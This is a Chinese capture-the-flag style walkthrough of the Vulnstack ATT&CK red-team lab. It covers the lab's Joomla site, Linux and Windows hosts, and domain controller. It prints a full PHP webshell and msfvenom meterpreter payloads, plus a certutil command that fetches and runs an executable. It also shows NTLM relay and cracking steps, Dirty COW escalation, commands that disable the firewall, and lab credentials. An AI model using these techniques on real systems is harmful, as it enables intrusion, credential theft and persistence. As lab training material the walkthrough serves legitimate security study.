ATK&CK红队评估实战靶场(三)

前言

靶机详细信息

1
http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

环境搭建

拓扑图

image-20221227164037040

首先需要添加一个虚拟网卡 VMnet2

image-20221227164800725

这里还将DHCP的起始ID地址设置成了192.168.93.5

然后安装拓扑图上的方式添加网卡即可。

还需要注意的就是,靶机web-centos需要重启一下网卡才能获取到IP。

1
2
ifdown eth0 # 禁用eth0网卡
ifup eth0 # 启用eth0网卡

全部虚拟机获取到的IP

Kali

1
192.168.10.179

Centos-web

1
2
外网:192.168.10.114
内网:192.168.93.110

ubuntu-web

1
内网:192.168.93.120

win 7

1
内网:192.168.93.30

win server 2008

1
内网:192.168.93.20

win server 2012

1
内网:192.168.93.10

攻入内网

主机发现

1
nmap -sn 192.168.10.0/24
image-20221227165943052

在重置网卡的时候就已经知道了IP,这里扫也扫出来了,为192.168.10.114

端口扫描

1
sudo nmap -sS -Pn -sV -v -p 1-65535 192.168.10.114
image-20221227170441821

目标靶机开放了 22,80,3306,直接访问 80端口

image-20221227170614931

通过站点图标,可以知道是个 Joomla!站点,这套源码存在许多的漏洞,需要继续信息收集,找到具体的版本号。

目录扫描

1
python3 .\dirsearch.py -u "http://192.168.10.114/"
image-20221227171113558

/configuration.php~ 泄露了数据库登录信息

image-20221227171400409
1
2
public $user = 'testuser';
public $password = 'cvcvgjASD!@';

漏洞利用

尝试进行远程登录靶机的 mysql 数据库

image-20221227171927446

成功登录mysql数据库。

am2zu_users 表中可以发现,存储密码的password字段是经过加密的

image-20221227172049456

这个密码如果拿去爆破,费时费力还不一定跑得出来,这里通过官方给得密码重置文档来手动添加一个用户,就是手动添加一个用户记录。

https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn

image-20221227172458437

复制sql语句过来,还需要手动改一下表前缀,改为 am2zu

1
2
3
4
5
6
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

然后执行

image-20221227172742869

得到的用户名密码为 admin2:secret

访问登录

1
http://192.168.10.114/administrator/
image-20221227173052476

成功进入后台

在 Extensions->Templates->Templates 处,可以对模板文件进行编辑。

image-20221227173634131

接下来,在 index.php 中插入一句话木马

image-20221227173849104

然后蚁剑添加 shell

1
http://192.168.10.114/templates/beez3/index.php
image-20221227174231649

这里不知道什么原因,添加不上。

接下来,在模板编辑页面,重新创建一个文件

image-20221227174407625

然后将冰蝎的shell 写进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
image-20221227174546502

然后使用冰蝎客户端添加

image-20221227174650056
image-20221227174823974
image-20221227174804800

可以列目录、上传文件、但是不能执行命令。

image-20221227174946104

phpinfo 页面中可以看到禁用了一些 执行命令的函数。

绕过disable_functions

如果蚁剑能连得上,那么直接用蚁剑自带的插件绕过更方便些。

这里我们使用蚁剑连接不上,所以只有手动绕过。

首先在github下载

1
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

将文件解压,通过冰蝎将bypass_disablefunc.phpbypass_disablefunc_x64.so上传到网站目录下

image-20221228095145834

紧接着访问

1
http://192.168.10.114//bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc_x64.so
image-20221228095333067

已经是可以成功执行命令,这里已经算是得到了一个webshell,但是使用起来较为麻烦。

最开始,我想尝试通过该靶机执行一个 反弹shell的时候来控制靶机的时候,发现怎么都反弹不过来,后来才这个靶机的IP是内网IP,该主机的web服务器是通过 192.168.10.114这台机器上的nginx服务器进行转发的,我们也只能通过 nginx 服务器 来跟内网的web服务器进行通信,那么也可以通过该 webshell 做个简单的信息收集。

主机信息收集

根据网上给的wp,在 /tmp/mysql/目录下 发现 test.txt文件

image-20221228100647323
1
2
adduser wwwuser
passwd wwwuser_123Aqx

这个用户名密码192.168.10.114这台靶机的登录口令。

接下来,我们通过xshell连接上去。

image-20221228101143727

成功连了上去,但是无法通过sudo提权到 root。

接下来尝试进行提权。

提权

查看内核系统版本信息

1
2
uname -a
cat /etc/redhat-release
image-20221228102026113

该靶机内核版本为 2.6.32-431.el6.x86_64,系统为 CentOS release 6.5 (Final),低版本的系统存在 脏牛 通用提权漏洞。

首先下载提权脚本

1
https://github.com/Rvn0xsy/linux_dirty/archive/refs/heads/master.zip

解压后得到 一个 dirty.c文件,将该文件上传到靶机的 /tmp目录下

image-20221228102839476

编译&执行

1
2
gcc -pthread dirty.c -o dirty -lcrypt
./dirty

注意 在执行的时候,会对 /etc/passwd 文件做一个备份,会将备份文件放在 /tmp目录下,文件名为passwd.bak,但是当前靶机中已经存在一个 passwd.bak的备份文件,执行前可以先删掉或者重命名这个文件。

image-20221228103428801

接下来,查看一下passwd 下是否已经添加了 rooter这个用户名

image-20221228103607006

可以看到已经成功将root替换成了rooter这个用户名,这个用户名的密码也被替换成了Hello@World,在提权脚本的README中可以看到。

提权到 rooter

1
su rooter
image-20221228103844133

提权成功

为了方便后续渗透,我们通过MSF生成一个反弹shell,在MSF中上线该靶机。

权限维持

MSF生成 Linux 后门

1
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.10.179 lport=9876 -f elf > shell9876

MSF开启监听

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 9876
exploit -j

接下来,将生成的木马上传到 靶机中运行

1
2
3
4
# 赋予执行权限
chmod u+x shell9876
# 后台运行
nohup ./shell9876 &
image-20221228104829161

MSF收到shell

image-20221228105003941

MSF收到的shell 是为了方便后续做socks代理、横向移动等一些事情。

内网信息收集

首先查看一下本机的网卡

image-20221228105525766

两张网卡,发现内网网段192.168.93.0

这里可以选择MSF的以下模块来进行内网主机发现

1
auxiliary/scanner/discover/arp_sweep

也可以使用 Nmap + proxychains4 进行扫描。

但是都不如直接上传fscan来扫的效率高,当然也需要考虑机器上是否杀软的情况。

1
./fscan_amd64 -h 192.168.93.0/24
image-20221228110629184

通过 fscan 可以得到一些信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(icmp) Target 192.168.93.100  is alive
(icmp) Target 192.168.93.120 is alive
(icmp) Target 192.168.93.10 is alive
(icmp) Target 192.168.93.30 is alive
(icmp) Target 192.168.93.20 is alive

192.168.93.10:88 open
192.168.93.120:22 open
192.168.93.100:22 open
192.168.93.100:80 open
192.168.93.20:80 open
192.168.93.30:139 open
192.168.93.20:139 open
192.168.93.10:139 open
192.168.93.20:135 open
192.168.93.30:135 open
192.168.93.10:135 open
192.168.93.120:3306 open
192.168.93.100:3306 open
192.168.93.20:1433 open
192.168.93.20:445 open
192.168.93.30:445 open
192.168.93.10:445 open
192.168.93.120:80 open

[*] NetBios: 192.168.93.10 [+]DC WIN-8GA56TNV3MV.test.org Windows Server 2012 R2 Datacenter 9600
[*] NetBios: 192.168.93.20 win2008.test.org Windows Server (R) 2008 Datacenter 6003 Service Pack 2
[*] 192.168.93.30 (Windows 7 Professional 7601 Service Pack 1)

[+] mysql:192.168.93.100:3306:root 123
[+] mysql:192.168.93.120:3306:root 123

通过以上信息,可以知道内网存活的主机、各个主机开放的端口、域控以及使用的操作系统还有mysql的弱口令。

内网的三台windows主机都开启了445端口,但是fscan的扫描结果显示并不存在永恒之蓝漏洞,这里我们还是使用MSF 的 检测模块 进行再一次尝试。

横向移动准备

刚刚我们通过MSF上线了centos的靶机,接下来,我们通过在MSF自带的模块在添加一条路由

1
run post/multi/manage/autoroute
image-20221228114604281
image-20221228114647492

这时候已经自动给我们添加通向内网网段的路由了。

开启socks5服务

再用auxiliary/server/socks_proxy开启一个socks5服务

image-20221228142507127

内网渗透:win2008

在使用fscan 对内网网段进行扫描的时候,已经发现内网的几台主机不存在永恒之蓝漏洞了。

192.168.93.1088端口也没有任何可利用的点,192.168.93.2080端口也是一样。

靶机192.168.93.20还开启了1433端口,使用最开始搜集到mysql的用户名密码testuser:cvcvgjASD!@尝试进行登录。

在物理机上使用Navicat工具配置socks5代理进行连接

在工具->选项

image-20221228142734160
image-20221228143718838

可以成功连接上

尝试使用mssql执行命令

首先启用xp_cmdshell

1
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
image-20221228144537852

提示没有权限,无法进一步利用。

NTLM Relay攻击

SMB服务还有一种攻击方法,那就是 NTLM Relay攻击 ,了解具体原理,看https://blog.csdn.net/whatday/article/details/107698383#t1 这篇文章,这里只写利用过程。

首先下载 responder工具

1
https://github.com/SpiderLabs/Responder

上传至 centos靶机中,执行

1
python Responder.py -I eth1 -rv
image-20221228162445056

然后再MSF中,使用auxiliary/admin/mssql/mssql_ntlm_stealer模块

1
2
3
4
5
use auxiliary/admin/mssql/mssql_ntlm_stealer
set RHOSTS 192.168.93.20
set USERNAME testuser
set PASSWORD cvcvgjASD!@
set SMBPROXY 192.168.93.100
image-20221228162750327

再回到 centos靶机中

image-20221228162835016

成功抓到了 win 2008 的 NTLM hash

1
Administrator::WIN2008:1122334455667788:746E3F2D7EB3DDB6304D15B04E0D32E8:0101000000000000F3DE6739961AD9019214FF4776694A460000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000BEAB9161CC52D56AF03D7933BB8CE5D72D7FA0D284620B4D4240B1C1C3AB1D720000000000000000

这里可以用kali 中的 john 来爆破出 密码

1
john hash.txt --wordlist=passwd.txt
image-20221228163414576

得到密码 123qwe!ASD ,爆破出这种密码,确实需要一本很强大的字典。

不仅仅是这一种方法,还有其他的利用办法,由于各种环境原因,但是我都没成功,放个链接。

https://blog.csdn.net/whatday/article/details/107698383#t6

拿到密码后 ,可以使用impacket工具的 wmiexec.py来执行命令

impacket下载地址

1
https://github.com/fortra/impacket

在kali下

1
proxychains4 python3 wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'
image-20221228170140480

权限维持

接下来,远程下载一个MSF的反弹shell,然后执行。

1
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8899 -f exe > 8899.exe

上传到 centos靶机中

image-20221228171951160

利用python在当前目录下 开启一个 HTTP服务

1
python -m SimpleHTTPServer
image-20221228172122187

MSF开启监听

1
2
3
set RHOST 192.168.93.20
set LPORT 8899
set payload windows/x64/meterpreter/bind_tcp

远程下载并执行

1
certutil -urlcache -split -f http://192.168.93.100:8000/8899.exe 8899.exe
image-20221229101400349

MSF收到shell

image-20221229101421980

还不是 system

提权

一条命令提权

1
getsystem
image-20221229101440383

主机信息收集

加载后渗透利用工具kiwi

1
load kiwi

获取用户登录凭据

1
creds_kerberos
image-20221228173856586

成功抓取了 域控服务器的明文密码

1
2
Administrator  TEST.ORG  zxcASDqw123!!
Administrator WIN2008 123qwe!ASD

内网渗透:域控服务器

依旧使用impacket工具的 wmiexec.py来执行命令

1
proxychains4 python3 wmiexec.py 'administrator:zxcASDqw123!!@192.168.93.10'
image-20221229094444672

权限维持

接下来,还是老办法,远程下载一个MSF的反弹shell,然后执行。

1
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8899 -f exe > 8899.exe

上传到 centos靶机中

image-20221228171951160

利用python在当前目录下 开启一个 HTTP服务

1
python -m SimpleHTTPServer
image-20221228172122187

MSF开启监听

1
2
3
set RHOST 192.168.93.10
set LPORT 8899
set payload windows/x64/meterpreter/bind_tcp

远程下载并执行

1
certutil -urlcache -split -f http://192.168.93.100:8000/8899.exe 8899.exe
image-20221229095329289

但是这里MSF未收到反弹shell,可能是开了防火墙的原因。

关闭防火墙

1
netsh advfirewall set allprofiles state off

MSF收到shell

image-20221229095935974

开启远程桌面

1
run post/windows/manage/enable_rdp
image-20221229100220413
image-20221229100350041

Documents目录下找到 秘密文件

image-20221229100455464

内网渗透:pc

192.168.93.30 这台靶机依旧可以使用 wmiexec.py来执行命令,因为最终都是用MSF来管理,所以这里我们可以通过exploit/windows/smb/psexec 来获得一个shell。

1
2
3
4
5
use exploit/windows/smb/psexec
set RHOSTS 192.168.93.30
set SMBUser administrator
set SMBPass 123qwe!ASD
set payload windows/meterpreter/bind_tcp
image-20221228165213399

相关知识点

mssql渗透相关命令

mssql列目录

1
execute master..xp_dirtree 'c:\',1,1

mssql查看版本

1
select @@version

sql server 2005版本以后默认关闭,需要开启后使用

启用xp_cmdshell

1
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

执行系统命令

1
exec master..xp_cmdshell 'whoami'

写入webshell

1
exec master..xp_cmdshell 'echo ^<%eval request("x")%^> >e:\shell.aspx'

主机信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
uname -a    # 获取所有版本信息
uname -m # 获取Linux内核架构
cat /proc/version # 获取内核信息
cat /etc/*-release # 发布信息
cat /etc/issue # 发布信息
hostname # 获取主机名
cat /etc/passwd # 列出系统所有用户
cat /etc/group # 列出系统所有组
w # 查看目前登录的用户
whoami # 查看当前用户
id # 查看当前用户信息
sudo -l # 列出目前用户可执行与无法执行的指令
ps aux # 查看进程信息
ls -la /etc/cron* # 查看计划任务
ifconfig -a # 列出网络接口信息
cat /etc/network/interfaces # 列出网络接口信息
arp -a # 查看系统arp表
route # 打印路由信息
netstat -anplt # 打印本地端口开放信息
iptables -L # 列出iptable的配置规则

MSF开启全局代理

1
setg proxies socks5:127.0.0.1:1080

参考文章

https://xz.aliyun.com/t/6988#toc-0 Vlunstack ATT&CK实战系列——红队实战(三)Writeup
https://blog.csdn.net/whatday/article/details/107698383 内网渗透测试:NTLM Relay攻击分析